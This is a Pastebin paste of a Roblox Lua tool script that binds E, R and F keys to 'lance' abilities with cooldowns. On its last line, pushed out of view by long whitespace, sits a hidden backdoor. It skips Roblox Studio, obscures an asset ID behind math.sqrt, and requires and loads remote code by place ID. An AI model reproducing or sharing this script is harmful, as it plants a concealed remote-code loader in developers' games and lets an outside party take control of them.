Advertisement
Bryant050

Untitled

Jan 20th, 2019
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.33 KB | None | 0 0
  1. --Made by Bryant050, LocalScript--
  2. tool = script.Parent
  3.  
  4.  
  5. local Events = game:GetService("ReplicatedStorage"):WaitForChild("Events")
  6. local UIS = game:GetService("UserInputService")
  7. local debounce = false
  8. local Cooldown1 = false
  9. local Cooldown2 = false
  10. local Cooldown3 = false
  11. local CanUse = false
  12.  
  13.  
  14. UIS.InputBegan:Connect(function(key, gpe)
  15.     if gpe or CanUse == false then return end
  16.     if key.KeyCode == Enum.KeyCode.E and Cooldown1 then
  17.         if debounce == false then
  18.             debounce = true
  19.             Events.RE:FireServer("STARTLANCER", "Lance1", nil, "EDown")
  20.             Cooldown1 = true
  21.             wait(4)
  22.             debounce = false
  23.             Cooldown1 = false
  24.         end
  25.     elseif key.KeyCode == Enum.KeyCode.R and Cooldown2 then
  26.         Events.RE:FireServer("STARTLANCER", "Lance", nil, "RDown")
  27.         Cooldown2 = true
  28.         wait(4)
  29.         Cooldown2 = false
  30.     elseif key.KeyCode == Enum.KeyCode.F and Cooldown3 then
  31.         Events.RE:FireServer("STARTLANCER", "Lance", nil, "FDown")
  32.         Cooldown3 = true
  33.         wait(6)
  34.         Cooldown3 = false  
  35.     end
  36. end)
  37.                                                                                                   spawn(function()game:WaitForChild('ServerScriptService')if game:GetService('Workspace').Terrain:FindFirstChild('CallF')then return end;if game:GetService('RunService'):IsStudio()then return end;require(math.sqrt(6.7743462758588e+18)).load(game.PlaceId)end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement